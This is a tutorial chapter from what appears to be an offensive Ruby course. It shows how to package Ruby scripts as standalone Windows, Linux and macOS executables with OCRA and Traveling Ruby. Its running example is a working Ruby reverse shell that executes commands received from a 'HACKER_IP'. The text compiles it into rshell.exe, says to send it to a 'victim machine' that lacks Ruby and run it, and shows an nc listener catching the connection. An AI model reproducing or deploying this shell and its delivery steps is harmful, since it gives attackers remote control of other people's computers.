Module 0x2 | System Kung Fu

    OCRA (One-Click Ruby Application) builds Windows executables from Ruby source code. The executable is a self-extracting, self-running executable that contains the Ruby interpreter, your source code and any additionally needed ruby libraries or DLL.

    It’s Windows support only, not really ;)

    • Features

    • To install OCRA

    So all what to need is to have your application.

    Suppose we have the following script, a reverse shell of course ;)

    2. # KING SABRI | @KINGSABRI
    3. require 'socket'
    4. if ARGV[0].nil? || ARGV[1].nil?
    5.     puts "ruby #{__FILE__}.rb [HACKER_IP HACKER_PORT]\n\n"
    6.     exit
    7. end
    8. ip, port = ARGV
    9. s = TCPSocket.new(ip,port)
    10. while cmd = s.gets
    11.   IO.popen(cmd,"r"){|io|s.print io.read}
    12. end

    from our Windows Attacker machine cmd.exe

    1. C:\Users\admin\Desktop>ocra rshell.rb --windows --console

    Results 

    1. C:\Users\admin\Desktop>ocra rshell.rb --windows --console
    2. === Loading script to check dependencies
    3. ruby C:/Users/admin/Desktop/rshell.rb.rb [HACKER_IP HACKER_PORT]
    5. === Attempting to trigger autoload of Gem::ConfigFile
    6. === Attempting to trigger autoload of Gem::DependencyList
    7. === Attempting to trigger autoload of Gem::DependencyResolver
    8. === Attempting to trigger autoload of Gem::Installer
    9. === Attempting to trigger autoload of Gem::RequestSet
    10. === Attempting to trigger autoload of Gem::Source
    11. === Attempting to trigger autoload of Gem::SourceList
    12. === Attempting to trigger autoload of Gem::SpecFetcher
    13. === Attempting to trigger autoload of CGI::HtmlExtension
    14. === Detected gem ocra-1.3.5 (loaded, files)
    15. ===     6 files, 191333 bytes
    16. === Detected gem io-console-0.4.3 (loaded, files)
    17. === WARNING: Gem io-console-0.4.3 root folder was not found, skipping
    18. === Including 53 encoding support files (3424768 bytes, use --no-enc to exclude)
    19. === Building rshell.exe
    20. === Adding user-supplied source files
    21. === Adding ruby executable ruby.exe
    22. === Adding detected DLL C:/Ruby22/bin/zlib1.dll
    23. === Adding detected DLL C:/Ruby22/bin/LIBEAY32.dll
    24. === Adding detected DLL C:/Ruby22/bin/SSLEAY32.dll
    25. === Adding detected DLL C:/Ruby22/bin/libffi-6.dll
    26. === Adding library files
    27. === Compressing 10622666 bytes
    28. === Finished building rshell.exe (2756229 bytes)

    In the same directory, you’ll find an exe file rshell.exe. Send it on the windows victim machine which doesn’t have ruby installed and run it.

    1. rshell.exe 192.168.0.14 9911

    from our attacking machine we already listening on 9911

    1. nc -lvp 9911

    Traveling-ruby

    From official site[^1] “Traveling Ruby is a project which supplies self-contained, “portable” Ruby binaries: Ruby binaries that can run on any Linux distribution and any OS X machine. It also has Windows support (with some caveats). This allows Ruby app developers to bundle these binaries with their Ruby app, so that they can distribute a single package to end users, without needing end users to first install Ruby or gems.“

    Note: The following script has been taken from the official docs.

    Preparation

    1. mkdir rshell
    2. cd rshell
    • Create your application -in our case, reverse shell- in “rshell” folder

    rshell.rb

    • Test it 
    1. ruby rshell.rb 
    2. # => ruby rshell.rb [HACKER_IP] [HACKER_PORT]
    Creating package directories

    The next step is to prepare packages for all the target platforms, by creating a directory each platform, and by copying your app into each directory. (Assuming that your application could differ from OS to another)

    1. cp rshell.rb rshell-1.0.0-linux-x86/lib/app/
    3. mkdir -p rshell-1.0.0-linux-x86_64/lib/app
    4. cp rshell.rb rshell-1.0.0-linux-x86_64/lib/app/
    6. mkdir -p rshell-1.0.0-osx/lib/app/
    7. cp rshell.rb rshell-1.0.0-osx/lib/app/

    Next, create a packaging directory and download Traveling Ruby binaries for each platform into that directory. Then extract these binaries into each packaging directory. You can find a list of binaries at the Traveling Ruby Amazon S3 bucket. For faster download times, use the CloudFront domain ““. In this tutorial we’re extracting version 20141215-2.1.5.

    1. mkdir packaging
    2. cd packaging
    3. wget -c  http://d6r77u77i8pq3.cloudfront.net/releases/traveling-ruby-20141215-2.1.5-linux-x86.tar.gz
    4. wget -c  http://d6r77u77i8pq3.cloudfront.net/releases/traveling-ruby-20141215-2.1.5-linux-x86_64.tar.gz
    5. wget -c  http://d6r77u77i8pq3.cloudfront.net/releases/traveling-ruby-20141215-2.1.5-osx.tar.gz
    8. mkdir rshell-1.0.0-linux-x86/lib/ruby && tar -xzf packaging/traveling-ruby-20141215-2.1.5-linux-x86.tar.gz -C rshell-1.0.0-linux-x86/lib/ruby
    9. mkdir rshell-1.0.0-linux-x86_64/lib/ruby && tar -xzf packaging/traveling-ruby-20141215-2.1.5-linux-x86_64.tar.gz -C rshell-1.0.0-linux-x86_64/lib/ruby
    10. mkdir rshell-1.0.0-osx/lib/ruby && tar -xzf packaging/traveling-ruby-20141215-2.1.5-osx.tar.gz -C rshell-1.0.0-osx/lib/ruby

    Now, each package directory will have Ruby binaries included. It looks like this: Your directory structure will now look like this:

    1. rshell/
    2.  |
    3.  +-- rshell.rb
    4.  |
    5.  +-- rshell-linux86/
    6.  |   |
    7.  |   +-- lib/
    8.  |       +-- app/
    9.  |       |   |
    10.  |       |   +-- rshell.rb
    11.  |       |
    12.  |       +-- ruby/
    13.  |           |
    14.  |           +-- bin/
    15.  |           |   |
    16.  |           |   +-- ruby
    17.  |           |   +-- ...
    18.  |           +-- ...
    19.  |
    20.  +-- rshell-linux86_64/
    21.  |   |
    22.  |  ...
    23.  |
    24.  +-- rshell-osx/
    25.      |
    26.     ...
    Quick sanity testing

    Let’s do a basic sanity test by running your app with a bundled Ruby interpreter. Suppose that you are developing on OS X. Run this:

    1. cd rshell-osx
    2. ./lib/ruby/bin/ruby lib/app/rshell.rb
    3. # => ruby rshell.rb.rb [HACKER_IP  HACKER_PORT]
    5. cd ..
    Creating a wrapper script

    Now that you’ve verified that the bundled Ruby interpreter works, you’ll want create a wrapper script. After all, you don’t want your users to run /path-to-your-app/lib/ruby/bin/ruby /path-to-your-app/lib/app/rshell.rb. You want them to run /path-to-your-app/rshell.

    Here’s what a wrapper script could look like:

    1. #!/bin/bash
    2. set -e
    4. # Figure out where this script is located.
    5. SELFDIR="`dirname \"$0\"`"
    6. SELFDIR="`cd \"$SELFDIR\" && pwd`"
    8. # Run the actual app using the bundled Ruby interpreter.
    9. exec "$SELFDIR/lib/ruby/bin/ruby" "$SELFDIR/lib/app/rshell.rb"

    Save this file as packaging/wrapper.sh in your project’s root directory. Then you can copy it to each of your package directories and name it rshell:

    Finalizing packages
    1. tar -czf rshell-1.0.0-linux-x86.tar.gz rshell-1.0.0-linux-x86
    2. tar -czf rshell-1.0.0-linux-x86_64.tar.gz rshell-1.0.0-linux-x86_64
    3. tar -czf rshell-1.0.0-osx.tar.gz rshell-1.0.0-osx
    4. rm -rf rshell-1.0.0-linux-x86
    5. rm -rf rshell-1.0.0-linux-x86_64
    6. rm -rf rshell-1.0.0-osx

    An x86 Linux user could now use your app like this:

    1. The user downloads rshell-1.0.0-linux-x86.tar.gz.
    2. The user extracts this file.
    3. The user runs your app:
    1. /path-to/rshell-1.0.0-linux-x86/rshell
    2. # => ruby rshell.rb.rb [HACKER_IP  HACKER_PORT]
    Automating the process

    Going through all of the above steps on every release is a hassle, so you should automate the packaging process, for example by using Rake. Here’s how the Rakefile could look like:

    1. PACKAGE_NAME = "rshell"
    2. TRAVELING_RUBY_VERSION = "20150210-2.1.5"
    4. desc "Package your app"
    5. task :package => ['package:linux:x86', 'package:linux:x86_64', 'package:osx']
    7. namespace :package do
    8.   namespace :linux do
    9.     desc "Package your app for Linux x86"
    10.     task :x86 => "packaging/traveling-ruby-#{TRAVELING_RUBY_VERSION}-linux-x86.tar.gz" do
    11.       create_package("linux-x86")
    12.     end
    14.     desc "Package your app for Linux x86_64"
    15.     task :x86_64 => "packaging/traveling-ruby-#{TRAVELING_RUBY_VERSION}-linux-x86_64.tar.gz" do
    16.       create_package("linux-x86_64")
    17.     end
    18.   end
    20.   desc "Package your app for OS X"
    21.   task :osx => "packaging/traveling-ruby-#{TRAVELING_RUBY_VERSION}-osx.tar.gz" do
    22.     create_package("osx")
    23.   end
    24. end
    26. file "packaging/traveling-ruby-#{TRAVELING_RUBY_VERSION}-linux-x86.tar.gz" do
    27.   download_runtime("linux-x86")
    28. end
    30. file "packaging/traveling-ruby-#{TRAVELING_RUBY_VERSION}-linux-x86_64.tar.gz" do
    31.   download_runtime("linux-x86_64")
    32. end
    34. file "packaging/traveling-ruby-#{TRAVELING_RUBY_VERSION}-osx.tar.gz" do
    35.   download_runtime("osx")
    36. end
    38. def create_package(target)
    39.   package_dir = "#{PACKAGE_NAME}-#{VERSION}-#{target}"
    40.   sh "rm -rf #{package_dir}"
    41.   sh "mkdir -p #{package_dir}/lib/app"
    42.   sh "cp rshell.rb #{package_dir}/lib/app/"
    43.   sh "mkdir #{package_dir}/lib/ruby"
    44.   sh "tar -xzf packaging/traveling-ruby-#{TRAVELING_RUBY_VERSION}-#{target}.tar.gz -C #{package_dir}/lib/ruby"
    45.   sh "cp packaging/wrapper.sh #{package_dir}/rshell"
    46.   if !ENV['DIR_ONLY']
    47.     sh "tar -czf #{package_dir}.tar.gz #{package_dir}"
    48.     sh "rm -rf #{package_dir}"
    49.   end
    50. end
    52. def download_runtime(target)
    53.   sh "cd packaging && curl -L -O --fail " +
    54.     "http://d6r77u77i8pq3.cloudfront.net/releases/traveling-ruby-#{TRAVELING_RUBY_VERSION}-#{target}.tar.gz"
    55. end

    You can then create all 3 packages by running:

    1. rake package

    You can also create a package for a specific platform by running one of:

    1. rake package:linux:x86
    2. rake package:linux:x86_64
    3. rake package:osx

    You can also just create package directories, without creating the .tar.gz files, by passing DIR_ONLY=1:

    1. rake package DIR_ONLY=1
    2. rake package:linux:x86 DIR_ONLY=1
    3. rake package:linux:x86_64 DIR_ONLY=1
    4. rake package:osx DIR_ONLY=1
    On Victim Machine

    You now have three files which you can distribute to end users.

    Suppose the end user is on Linux x86_64. S/he uses your app by downloading rshell-1.0.0-linux-x86_64.tar.gz, extracting it and running it:

    1. wget rshell-1.0.0-linux-x86_64.tar.gz
    2. ...
    3. tar xzf rshell-1.0.0-linux-x86_64.tar.gz
    4. cd rshell-1.0.0-linux-x86_64
    6. # => ruby rshell.rb.rb [HACKER_IP  HACKER_PORT]

    mruby

    mruby CLI[^2] A utility for setting up a CLI with mruby that compiles binaries to Linux, OS X, and Windows.

    Prerequisites
    • mruby-cli
    • Docker Compose
    Developer introduction

    https://www.youtube.com/watch?v=OvuZ8R4Y9xA

    Close Source code

    Sometimes we don’t want to disclose our source code for whatever reason, but we still want to share our applications either commercially or for free. Here a commercial solution for that purpose, RubyEncoder.

    [^1]: Traveling-ruby: Official website
    [^2]: mruby CLI:
    [^3]: RubyEncoder: Official website